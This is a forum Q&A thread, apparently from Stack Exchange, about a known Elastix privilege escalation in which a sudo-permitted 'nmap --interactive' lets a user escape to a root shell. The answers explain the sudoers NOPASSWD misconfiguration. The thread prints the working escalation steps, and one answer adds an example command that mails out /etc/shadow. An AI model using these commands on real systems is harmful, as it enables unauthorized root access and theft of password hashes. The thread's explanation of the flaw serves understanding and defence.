4

Here is a privilege escalation vulnerability on Elastix:

# id
# uid=100(name) gid=101(name)
# sudo nmap --interactive

# Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
# Welcome to Interactive Mode -- press h <enter> for help
# nmap> !sh
# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

How could a normal user start nmap with sudo privilege? What exactly is misconfigured here?

Source: http://seclists.org/fulldisclosure/2012/Mar/234

0

2 Answers 2

3

The misconfiguration would come from either a group, or user entry in sudoers.conf. This is the file that controls who can do what (with regards to sudo). In this instance judging by your commands (if they were not edited) the sudoers file contains an entry for the user asterisk to run the sudo command without entering a password.

Now in the case of nmap --interactive - that was removed some time ago. There was an escape trick that someone could use while in nmap to abuse the system. E.g.:

nmap> !head -n1 /etc/shadow | mail -s shadow [email protected]
0

If you are unable to view the sudoers file, you can also check which commands a user can execute as root with sudo -l. In the case above, you'd likely see something like the following:

 User x may run the following commands on this host:
 
     (root) NOPASSWD: /usr/bin/nmap

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .